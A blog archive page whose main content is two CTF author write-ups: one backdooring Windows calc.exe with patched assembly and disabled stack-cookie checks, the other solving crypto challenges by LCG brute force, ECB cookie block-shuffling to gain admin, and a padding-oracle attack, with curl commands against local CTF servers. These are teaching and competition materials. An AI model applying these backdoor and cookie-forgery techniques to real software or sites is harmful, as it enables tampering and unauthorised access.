Category Archives: conferences

(ISC)² brings its Secure Summit to The Hague

Supporting its membership and the wider sector with continuous education opportunities is a major part of what (ISC)2 does as a membership organisation for certified professionals. Its popular Secure Summit event has moved to The Hague, Netherlands for 2019, with an expanded programme designed to address the wider region. Taking place at The World Forum on 15-16 April, it is the biggest industry practitioner event yet in EMEA for (ISC)2 members and cybersecurity delegates. It … More

The post (ISC)² brings its Secure Summit to The Hague appeared first on Help Net Security.

In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

Hey everybody,

In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.

The idea came to me while my boyfriend, Chris, was playing a game on Steam Link. Due to an odd bug, while playing Dark Souls, the Steam Link kept shutting off. Eventually, we realized that even though the game was running, the Steam menu was still "in focus". That means that while he was playing the game, he was also moving around and clicking things on the menu. Very reminiscent of Clickjacking attacks.

I tried to figure out something I could do with this, and slept on it. The next day, I had an idea: I'd write a backdoor into Windows Calculator such that, when a special code was entered, it'd decrypt and display the flag. Just like Steam Link, you'd be entering the code in the background as you're doing calculations.

I really wanted some Windows reverse engineering challenges, not to mention oldschool software references, so this was perfect!

You can grab the patched binary and try it out, if you like! The code for that version is 9*4+0839, and the flag looks like this:

Getting calc.exe

I initially tried using c:\windows\system32\calc.exe from Windows 7, since that's the version I had handy. I found the place where I wanted to add the custom code, then made a small change to make sure it'd work, and it started crashing immediately. Even changing a simple string prevented it from starting. I'm assuming it was due to code signing, but I'm not 100% sure. It also required the en/ or en-US/ folder to be present, which was annoying. I quickly gave up on that.

I decided to use Windows 2003 instead. I had the ISO for the OS handy, but didn't really want to install it. I had no idea how Windows was packaged, so I just mounted the iso:

$ sudo mount -o loop,ro -t iso9660 Windows2003r2_Standard_SP2_x86_cd1.iso /mnt/tmp

Then explored the filesystem:

/mnt/tmp $ find . -name '*calc*'
./i386/calc.ch_
./i386/calc.ex_
./i386/calc.hl_
./i386/compdata/calcomp.htm
./i386/compdata/calcomp.txt

Looks promising! What's calc.ex_?

$ file ./i386/calc.ex_
./i386/calc.ex_: Microsoft Cabinet archive data, 41953 bytes, 1 file

This is just like a little CTF challenge!

Apparently I already had cabextract installed, so I tried it:

$ cabextract -d /tmp ./i386/calc.ex_
Extracting cabinet: ./i386/calc.ex_
  extracting /tmp/calc.exe

All done, no errors.
$ file /tmp/calc.exe
/tmp/calc.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Huh, that was easy! You can download the base calc.exe if you want to follow along pre-modification.

Finding a place for code

I spent a lot of time coming up with ideas of how to backdoor calc.exe. I could have used a tool like Backdoor Factory, but that wasn't quite right! I also had the idea of using debug hooks and causing exceptions to gain control, but I couldn't get that to work.

Instead, I decided to find a place right in the binary where I could put a decent chunk of assembly code - like 150 bytes or so - that could handle all the logic. Then I'd just find the part of the code that handles "button pressed", and call my backdoor code. That way, each button press, I could do some arbitrary calculation, then return control as if nothing had ever happened.

The question is, where? How do I spot useless code? In particular, in an executable segment?

TL;DR: I just wrecked up built-in security functionality. :)

I scrolled around for awhile, trying to think of where to put it. Then I noticed this:

.text:01007E2C ; =============== S U B R O U T I N E =======================================
.text:01007E2C
.text:01007E2C ; Attributes: library function
.text:01007E2C
.text:01007E2C ; __fastcall __security_check_cookie(x)
.text:01007E2C @__security_check_cookie@4 proc near    ; CODE XREF: sub_1001B19+470p
.text:01007E2C                                         ; sub_100209C+2E0p ...
.text:01007E2C
.text:01007E2C var_2AC         = byte ptr -2ACh
.text:01007E2C
.text:01007E2C                 cmp     ecx, ___security_cookie
.text:01007E32                 jnz     short $failure$18941
.text:01007E34                 retn
...

__security_check_cookie()? Who the heck needs a stack cookie for Windows Calculator, right? What are you going to do, hack yourself? :)

So I went ahead and changed the first byte of the function (0x01007E2C is the virtual address, or 0x722c in the file) to 0xc3 - ret. Then I ran calc.exe and verified that everything still worked. In theory, it's slightly less secure - hah.

The rest of the function - 0x01007E2D up to 0x01007EC9 (156 bytes) - was now entirely unused. Perfect!

Finding a place for data

Next, I needed a part of memory that I can read/write to store the encrypted flag (so I could decrypt it later). There are plenty of easier ways to do this - such as by decrypting it on the stack - but this seemed easy enough to do. I also needed a smaller piece of unused memory to store the count (which is incremented each time the correct button is pressed - we'll see that later).

In the start() function, I noticed this code:

.text:01012986                 push    offset unk_1014010
.text:0101298B                 push    offset unk_101400C
.text:01012990                 call    _initterm

I don't care about terminal stuff, so maybe I could just kill that code and use that memory? While writing this blog, I actually looked up what initterm is, and realized that it isn't even doing anything - it just points to two NULL addresses.

So I went ahead and NOP'ed out that code, so those two memory addresses would remain untouched. Then I set the value at that address to 0x0000000, to initialize the counter (although I think it already had that value).

For the actual flag, I had to store it in UTF-16, so if I wanted a 16 character flag, I needed 32 bytes of memory to store it in. That's a lot!

I solved that problem by overwriting random unused-looking chunks of memory until calc.exe could start and avoid crashing. Probably not the cleanest solution - I may have redefined math as we know it - but it did the trick! That memory ended up starting here:

.data:010140C0                 db    0
.data:010140C1                 db    0
.data:010140C2                 db 0FFh
.data:010140C3                 db    0
.data:010140C4                 db  50h ; P
.data:010140C5                 db    0
.data:010140C6                 db    0
.data:010140C7                 db    0
.data:010140C8                 db 0FFh
.data:010140C9                 db    0
.data:010140CA                 db    0
.data:010140CB                 db    0
...32 bytes

AFAICT, that data is never read (but it's certainly possible I'm wrong). I initialized that to the "encrypted" version of the flag, which is simply the 32 byte flag XORed by the values for certain calculator buttons - we'll see that later.

So now we have space for code, a small amount of r/w memory (for a counter), and a larger amount of r/w memory (for the encrypted flag)! This could certainly have been done more easily, but I was finding memory as I needed it, so it became somewhat complex. Since this is a reverse engineering problem, that makes it all the more fun!

Find where button presses are handled

Now that we have space for code, how do we run the code?

I wish I had a good story about how to find the code. In the Windows 7 version of calc.exe, I used the compiled-in symbols to quickly narrow it down. But the Windows 7 version didn't work, and Windows 2003 didn't have symbols.

In the end, I literally just sorted the list of functions by length, and looked at the longest one: sub_10028A1.

The body of that sub looks like:

...
.text:010028C9                 jb      short loc_10028D3
.text:010028CB                 cmp     esi, 8Dh
.text:010028D1                 jbe     short loc_100292E
.text:010028D3
.text:010028D3 loc_10028D3:                            ; CODE XREF: sub_10028A1+28j
.text:010028D3                 cmp     esi, 132h
.text:010028D9                 jb      short loc_10028E3
.text:010028DB                 cmp     esi, 135h
.text:010028E1                 jbe     short loc_100292E
.text:010028E3
.text:010028E3 loc_10028E3:                            ; CODE XREF: sub_10028A1+38j
.text:010028E3                 cmp     esi, 136h
.text:010028E9                 jb      short loc_10028F3
.text:010028EB                 cmp     esi, 139h
.text:010028F1                 jbe     short loc_100292E
.text:010028F3
.text:010028F3 loc_10028F3:                            ; CODE XREF: sub_10028A1+48j
.text:010028F3                 cmp     esi, 13Ah
.text:010028F9                 jb      short loc_1002903
.text:010028FB                 cmp     esi, 13Ch
.text:01002901                 jbe     short loc_100292E
...

Compare, jump, compare, jump, compare jump, etc. That looks like buttons being checked! The value being compared at each step is stored in esi, which is defined at the top of that function:

.text:010028B7                 push    esi
.text:010028B8                 mov     esi, [ebp+hMem]
.text:010028BB                 mov     [ebp+var_14], eax
.text:010028BE                 mov     eax, 8Ch
.text:010028C3                 cmp     esi, eax

To figure out what that value is, I set a breakpoint at 0x010028BB:

0:000> bp 0x010028BB
0:000> g

Then I clicked on '0', and execution stopped! I used r esi to see the argument:

Breakpoint 0 hit
calc+0x28bb:
010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
0:000:x86> r esi
esi=0000007c
0:000:x86> g

Then I tried again with pressing '1':

010028bb 8945ec          mov     dword ptr [ebp-14h],eax ss:002b:000cfaa8=0100481e
0:000:x86> r esi
esi=0000007d

I tried a few more just to make sure, but it worked as as you'd expect: 2 was 0x7e, 3 was 0x7f, 4 was 0x80, and so on. Wonderful!

Now that I know where button-pushes are processed, I know where I need to inject my code!

Hooking execution

Right at the start of sub_10028A1, the first two lines are:

.text:010028A1 B8 4A 2D 01 01                 mov     eax, offset sub_1012D4A
.text:010028A6 E8 F5 01 01 00                 call    sub_1012AA0
.text:010028AB 81 EC D0 00 00+                sub     esp, 0D0h

I'm not 100% sure what those first two lines are doing, and I still don't really know, but I do know that if I NOP out that code, everything still works. Perfect! I assume it's part of the "this execution is taking too long" code, since that stopped working when I added this patch. But we fix that later. :)

The space I freed up for my code starts at 0x01007E2D - one byte past the start of __security_check_cookie, where we created a fake ret instruction.

I want to change call sub_1012AA0 to call sub_1007E2D. The first byte of the original call - E8 - simply means "call a 4-byte relative address". The next 4 bytes are the offset from the start of the next instruction to the instruction we want to call (as little endian).

What's that mean? It means that we need to know how far it is from the next instruction (0x010028AB) and the place we want to call (0x01007E2D). We can figure that out with simple math:

0x01007E2D - 0x010028AB = 0x00005582

So we simply change the instruction to "E8 82 55 00 00" - "call sub_1007E2D".

Of course, right now there's just the remnants of the old function there, so if you call it, it'll crash. That brings us to the last major part - the payload!

Payload

The payload is the most important part! It's simply arbitrary assembly code that'll run each time a button is pressed.

The way it works is, it takes the button code (such as 0x7c for '0') and compares it to the current byte of the expected code (starting at offset 0). If it doesn't match, we reset the counter and return. If it does match, we increment the counter and return if the counter is less than 8.

When the counter reaches 8 - the length of the code - it runs the "decryption" code and pops up a MessageBox with the decrypted flag. The decryption code will XOR the first 4 bytes of the encrypted flag with the first byte of the code. The next 4 bytes with the next byte, and so on, until the 8 code bytes have decoded the 32 flag bytes.

Note: this is not particularly good encryption, especially since the key is stored in memory. Don't do that if you want real security! :)

Here's the full, annotated assembly:

; eax = current character
mov eax, [ebp+8]
pushad

call get_values
  ; This is the expected code
  db 'XXXXXXXX'

  ; Get a handle to our "checker"
  get_values:
    pop esi

  ; Get the "index"
  mov ecx, [0x0101400c]

  ; Go to the "index"
  mov edx, esi
  add edx, ecx

  ; Check if we're good
  cmp byte [edx], al

  jz its_good

  ; If it's wrong, reset the count
  mov dword [0x0101400c], 0
  popad
  ret

its_good:
  ; If it's right, increment the index
  inc ecx
  mov [0x0101400c], ecx

  ; Check if we're done
  cmp ecx, 0x08
  jl notdone

  ; If we ARE done, decode the actual flag
  ; esi = already the decoder string
  ; edi = the text
  mov edi, 0x010140c0
  xor ecx, ecx

; A little decoder loop
top:
  mov al, [esi+ecx] ; al = this byte of the decoder string

  mov edx, ecx ; Multiply ecx by 4, so we can index into the encoded key
  shl edx, 2

  xor [edi+edx+0], al ; First byte
  xor [edi+edx+1], al ; Second byte
  xor [edi+edx+2], al ; Third byte
  xor [edi+edx+3], al ; First byte

  ; Increment the loop counter
  inc ecx
  cmp ecx, 0x08
  jl top

  ; Call MessageBoxW()!
  push 0
  push 0x010140c0 ; Decrypted flag
  push 0x010140c0 ; Decrypted flag
  push 0
  call [0x010011a8] ; MessageBoxW()

notdone:
  popad
ret

You may note two odd things: first, we call MessageBoxW(). MessageBoxW() is the UTF-16 messagebox function in Windows. That means we need to use 2 bytes for every character of our flag. Why do we use that one? Because it's what calc.exe already imports - unfortunately, we can't easily get MessageBoxA() without using GetProcAddress() or some other trick.

Second, the expected code is set to "XXXXXXXX". In the patch.rb file, I actually generate the code entirely randomly, encrypt the flag with it, and dynamically fill in the flag and the code!

Here's what it looks like when I run the generator script:

$ make
ruby ./do_patch.rb
Raw code: 5c 84 7e 5b 81 83 7f 84
Code: + 8 2 * 5 7 3 8
Code: ["5c847e5b81837f84"]
Encoded flag: 1f 5c 08 5c c2 84 ff 84 32 7e 3f 7e 0e 5b 15 5b c2 81 c9 81 c6 83 c7 83 5e 7f 01 7f f9 84 84 84
Patching 5 bytes @ 0x1ca6 from (inline data)
Patching 1 bytes @ 0x722c from (inline data)
Patching 15 bytes @ 0x11d86 from (inline data)
Patching 115 bytes @ 0x722d from realpatch.bin
Patching 4 bytes @ 0x1300c from (inline data)
Patching 32 bytes @ 0x130c0 from (inline data)
Patching 8 bytes @ 0x7236 from (inline data)
Patching 16 bytes @ 0x3be6 from (inline data)

It generated the code of +82*5738 - not quite so interesting, but that code is then written to 0x7236, which means it's written directly over the "XXXXXXXX" string!

All said and done, the patch is 115 bytes long (with no real attempt to optimized my assembly). Not too shabby!

Fixing "this calculation is taking too long"

One funny thing - I was forever getting "This calculation is taking too long, would you like to continue?" messages. I tracked down the code to display it, and figured out it runs in a separate thread:

.text:010047E1 75 18                          jnz     short loc_10047FB
.text:010047E3 8D 45 FC                       lea     eax, [ebp+ThreadId]
.text:010047E6 50                             push    eax             ; lpThreadId
.text:010047E7 56                             push    esi             ; dwCreationFlags
.text:010047E8 56                             push    esi             ; lpParameter
.text:010047E9 68 1C 47 00 01                 push    offset StartAddress ; lpStartAddress
.text:010047EE 56                             push    esi             ; dwStackSize
.text:010047EF 56                             push    esi             ; lpThreadAttributes
.text:010047F0 FF 15 2C 10 00+                call    ds:CreateThread

By this point, I just wanted to go to bed (I wrote this whole thing in one evening!), so I literally just replaced that whole block of code - the pushes and the call - with NOPs. That thread no longer runs, and my problem is solved. :)

I still have no idea why I started seeing that.. presumably, I accidentally killed the reset-timer code.

Putting it all together

All said and done, here are all the patches I just talked about, all in one place:

patches = [
  # This patch calls the handler code at each character press by adding a "call"
  { offset: 0x1ca6,  max: 0x05, data: "\xe8\x82\x55\x00\x00" },

  # This patch gets rid of the "real" functionality by making it simply "return"
  { offset: 0x722c,  max: 0x01, data: "\xc3" },

  # This patch removs some console i/o stuff, giving us 20 bytes of freed-up
  # r/w memory where we store the counter
  { offset: 0x11d86, max: 0x0f, data: "\x90" * 0x0f },

  # This is the actual binary patch, which adds all the functionality (except
  # for the encoded flag)
  { offset: 0x722d,  max: 0x9c, file: 'realpatch.bin' },

  # This is the counter for the current byte we're at
  { offset: 0x1300c, max: 0x04, data: "\0\0\0\0" },

  # This is the r/w "encrypted" data (in maybe-unused memory)
  { offset: 0x130c0, max: 0x20, data: ENCODED_FLAG },

  # This is the r/o "validator" data (it's 9 past the start of the realpatch data)
  { offset: 0x722d+9, max: 0x08, data: CODE },

  # This kills the annoying "This operation is taking too long!!!" thread
  { offset: 0x3be6, max: 0x10, data: "\x90" * 0x10 },
]

We replace the call to get control of code execution; we disable stack cookies to free up code space; we disable console i/o stuff to free up data stuff; we overwrite the stack cookie function with realpatch.bin; we reset the counter; we copy our encrypted flag to probably-unused memory; we patch the code directly into the assembly; and finally, we kill the "operation is taking too long" thread.

Eight patches, and we have a cool backdoor in Calc! The coolest thing is, the flag and code are both generated dynamically. That means you can easily change the code and data and get your own encrypted flag!

Solving it

I honestly haven't solved it myself, other than typing in the code to verify it works, but I talked to one team and asked how they solved it.

Their answer: "we diffed it with the real version, and the code stuck out like a sore thumb!"

Once you know where the hook is, the assembly code I posted above is pretty easy to reverse engineer for somebody experienced in doing CTFs. Just gotta debug it to figure out how the codes (like 0x7C) correspond to buttons ('0')!

Some crypto challenges: Author writeup from BSidesSF CTF

Hey everybody,

This is yet another author's writeup for BSidesSF CTF challenges! This one will focus on three crypto challenges I wrote: mainframe, mixer, and decrypto!

mainframe - bad password reset

mainframe, which you can view on the Github release immediately presents the player with some RNG code in Pascal:

  function msrand: cardinal;
  const
    a = 214013;
    c = 2531011;
    m = 2147483648;
  begin
    x2 := (a * x2 + c) mod m;
    msrand := x2 div 65536;
  end;

If you reverse engineer that, or google a constant, you'll find that it's a pretty common random number generator called a Linear Congruential Generator. You can find a ton of implementations, including that one, on Rosetta Code.

The text below that says:

We don't really know how it's seeded, but we do know they generate password resets one byte at a time (12 bytes total) - rand() % 0xFF - and they don't change the seed in between.

I had at least one question about that set up - since rand() % 0xFF at best can only be 255/256 possible values - but this is a CTF problem, right?

To solve this, I literally implemented the gen_password() function in C (on the theory that it'll be fastest that way):

int seed = 0;

int my_rand() {
  seed = (214013 * seed + 2531011) & 0x7fffffff;
  return seed >> 16;
}

void gen_password(uint8_t buffer[12]) {
  uint32_t i;

  for(i = 0; i < 12; i++) {
    buffer[i] = my_rand() % 0xFF;
  }
}

void print_hex(uint8_t *hex) {
  uint32_t i;
  for(i = 0; i < 12; i++) {
    printf("%02x", hex[i]);
  }
}

Then called it for each possible seed:

  int index;
  for(index = 0x0; index < 0x7FFFFFFF; index++) {
    seed = index;

    gen_password(generated_pw);

    if(!memcmp(generated_pw, desired, 12)) {
      printf("Found it! Seed = %d\n", index);
      gen_password(generated_pw);
      printf("Next password: \n");
      print_hex(generated_pw);
      printf("\n");
      exit(0);
    }
  }

Then I generated a test password: cfd55275b5d38beba9ab355b

Put that into the program:

$ ./solution cfd55275b5d38beba9ab355b
...
Next password:
126ab42e0de3d300260ff309

And log in as root, thereby solving the question!

In case you're curious, to implement this challenge I store the RNG seed in your local session. That way, people aren't stomping on each other's cookies!

mixer - ECB block shuffle

For the next challenge, mixer (Github link), you're presented with a login form with a first name, a last name, and an is_admin field. is_admin is set to 0, disabled, and isn't actually sent as part of the form submit. The goal is to switch on the is_admin flag in your cookie.

When you log in, it sends the username and password as a GET request, and tells you to keep an eye on a certain cookie:

$ curl -s --head 'http://localhost:1234/?action=login&first_name=test&last_name=test' | grep 'Set-Cookie: user='
Set-Cookie: user=a3000ad8bfaa21b7b20797c3d480601af63df911b378cf9729a203ff65d35ee723e95cf1d27d3a01758d32ea42bd52bb9b4113cd881549cb3edbc20ca3077726; path=/; HttpOnly

Unfortunately for the player, the cookie is encrypted! We can confirm this by passing in a longer name and seeing a longer cookie:

$ curl -s --head 'http://localhost:1234/?action=login&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=test' | grep 'Set-Cookie'
Set-Cookie: user=fbfaf2879c8e57b4ba623424c401915228bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b1fa044b6e8a48ecb5f6ee54aa10f36c037010895d9a22f694c7b0b415dc22107029f9e0eb4236189e29044158b50c0d0; path=/; HttpOnly
Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A; path=/; HttpOnly

Not only is it longer, there's another important characteristic. If we break up the encrypted data into 128-bit blocks, we can see a pattern emerge:

fbfaf2879c8e57b4ba623424c4019152
28bb743e365ba0dbe6987df8a6c3af9b
28bb743e365ba0dbe6987df8a6c3af9b
28bb743e365ba0dbe6987df8a6c3af9b
1fa044b6e8a48ecb5f6ee54aa10f36c0
37010895d9a22f694c7b0b415dc22107
029f9e0eb4236189e29044158b50c0d0

Notice how the second, third, and fourth blocks encrypt to the same data? That tells us that we're likely looking at encryption in ECB mode - electronic codebook - where each block of data is independently encrypted.

ECB mode has a useful property called "malleability". That means that the encrypted data can be changed in a controlled way, and the decrypted version of the data will reflect that change. Specifically, we can move blocks of data (16 bytes at a time) around - rearrange, delete, etc.

We can confirm this by sending back a user cookie with only the repeated field, which we can assume is a full block of As: "AAAAAAAAAAAAAAAA", twice (we also include the rack.session cookie, which is required to keep state):

$ export USER=28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b
$ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Error
        

Error parsing JSON: 765: unexpected token at 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Well, we know it's JSON! And we successfully created new ciphertext - simply 32 A characters.

If you mess around with the different blocks, you can eventually figure out that the JSON object encrypted in your cookie, if you choose "First Name" and "Last Name" for your names, looks like this:

{"first_name":"First Name","last_name":"Last Name","is_admin":0}

We can colour the blocks to see them more clearly:

{"first_name":"F
irst Name","last
_name":"Last Nam
e","is_admin":0}

So the "First Name" string starts with one character in the first block, then finished in the second block. If we were to make the first name 17 characters, the first byte would be in the first block, and the second block would be entirely made up of the first name. Kinda like this:

{"first_name":"A
AAAAAAAAAAAAAAAA
AAAAAAAAA","last
_name":"Last Nam
e","is_admin":0}

Note how 100% of the second block is controlled by us. Since ECB blocks are encrypted independently, that means we can use that as a building-block to build whatever customer ciphertext we want!

The only thing we can't use in a block is quotation marks, because they'll be escaped (unless we carefully ensure that the \ from the escape is in a separate block).

If I set my first name to some JSON-like data:

t:1}             est

And the last name to "AA", it creates the encrypted blocks:

{"first_name":"t
:1}             
est","last_name"
:"AA","is_admin"
:0}             

Then we can do a little surgury, and replace the last block with the second block:

{"first_name":"t
:1}              <-- Moved from here...
est","last_name"
:"AA","is_admin"
:1}              <-- ...to here

Or, put together:

{"first_name":"test","last_name":"AA","is_admin":1}             

Or just:

{"first_name":"test","last_name":"AA","is_admin":1}

So now, with encrypted blocks, we do the same thing. First encrypt the name t:1}             est / AA (in curl, we have to backslash-escape the { and convert   to +):

$ curl -s --head 'http://localhost:1234/?action=login&first_name=t:1\}+++++++++++++est&last_name=AA' | grep 'Set-Cookie'
Set-Cookie: user=bb9f8c6b5224a3eebbfe923d31c3ed04c275c360f2a1321f9916ddc88a158d0e10c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc07be6f8d314073bbf780b2b7bbb5f80; path=/; HttpOnly
Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A; path=/; HttpOnly

Then split the user cookie into blocks, like we did with the encrypted text:

bb9f8c6b5224a3eebbfe923d31c3ed04
c275c360f2a1321f9916ddc88a158d0e
10c9e456be5b2e62e9709eb06b1f54a0
8f115ffefce89f2294fb29c2f2f32ecd
c07be6f8d314073bbf780b2b7bbb5f80

We literally switch the blocks around like we did before:

bb9f8c6b5224a3eebbfe923d31c3ed04
c275c360f2a1321f9916ddc88a158d0e <-- Moved from here...
10c9e456be5b2e62e9709eb06b1f54a0
8f115ffefce89f2294fb29c2f2f32ecd
c275c360f2a1321f9916ddc88a158d0e <-- ...to here

Which gives us the new user cookie, which we combine with the rack.session cookie:

$ export USER=bb9f8c6b5224a3eebbfe923d31c3ed0410c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc275c360f2a1321f9916ddc88a158d0e
$ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Congrats
      <p>And it looks like you're admin, too! Congrats! Your flag is <span class='highlight'>CTF{is_fun!!uffling_block_sh}</span></p>

And that's the challenge! We were able to take advantage of ECB's inherent malleability to change our JSON object to an arbitrary value.

decrypto - padding oracle + hash extension

The final crypto challenge I wrote was called decrypto (github link), since by that point I had entirely lost creativity, and is a combination of crypto vulnerabilities: a padding oracle and a hash extension. The goal was to demonstrate the classic Cryptographic Doom Principle, by checking the signature AFTER decrypting, instead of before.

Like before, this challenge uses the user= cookie, but additionally the signature= cookie will need to be modified as well.

Here are the cookies:

$ curl -s --head 'http://localhost:1234/' | grep 'Set-Cookie'
Set-Cookie: signature=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8; path=/; HttpOnly
Set-Cookie: user=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb; path=/; HttpOnly
Set-Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A; path=/; HttpOnly

We'll have to maintain the rack.session cookie, since that's where our encryption keys are stored. We initially have no idea of what format the user= cookie decrypts to, and no matter how much you ask, I wasn't gonna tell you. You can, however, see a few fields if you look at the actual rendered page:

Welcome to the mainframe!
It looks like you want to access the flag!
...
Please present user object
...
...scanning
...scanning
...
Scanning user object...
...your UID value is set to 57
...your NAME value is set to baseuser
...your SKILLS value is set to n/a
...
ERROR: ACCESS DENIED
...
UID MUST BE '0'

If we refresh, those values are still present, so we can assume that they're encoded into that value somehow. The cookie is, it turns out, exactly 64 bytes long.

First, let's make sure we can properly request the page with curl:

$ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
$ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
$ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK"
[...]
   data.push("...your UID value is set to 52");
   data.push("...your NAME value is set to baseuser");
   data.push("...your SKILLS value is set to n/a");
[...]

One of the first things I always try when I see an encrypted-looking cookie is to change the last byte and see what happens. Now that we have a working curl request, let's try that:

$ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
$ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
$ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190ade
$ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i error
    data.push("FATAL ERROR: bad decrypt")

The decrypt fails if we set the last byte wrong! What if we set it to each of the 256 possible bytes?

$ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
$ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8

$ for i in `seq 0 255`; do export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190a`printf '%02x' $i`; curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i 'error' | grep -v 'bad decrypt'; done
    data.push("FATAL ERROR: Bad signature!")
    data.push("ERROR: ACCESS DENIED");

There are two errors that are NOT the usual "bad decrypt" one - one is "ACCESS DENIED" - our original - and the other is "Bad signature!". Hmm! This sounds an awful lot like a padding oracle vulnerability!

Fortunately, I've written a tool for this!

Here's my Poracle configuration file (just a file called Solution.rb in the same folder as Poracle.rb):

# encoding: ASCII-8BIT

##
# Demo.rb
# Created: February 10, 2013
# By: Ron Bowes
#
# A demo of how to use Poracle, that works against RemoteTestServer.
##

require './Poracle'
require 'httparty'
require 'singlogger'
require 'uri'

# Note: set this to DEBUG to get full full output
SingLogger.set_level_from_string(level: "DEBUG")
L = SingLogger.instance()

# 16 is good for AES and 8 for DES
BLOCKSIZE = 16

def request(cookies)
  return HTTParty.get(
    'http://localhost:1234/',
    follow_redirects: false,
    headers: {
      'Cookie' => "signature=#{cookies[:signature]}; user=#{cookies[:user]}; rack.session=#{cookies[:session]}"
    }
  )
end
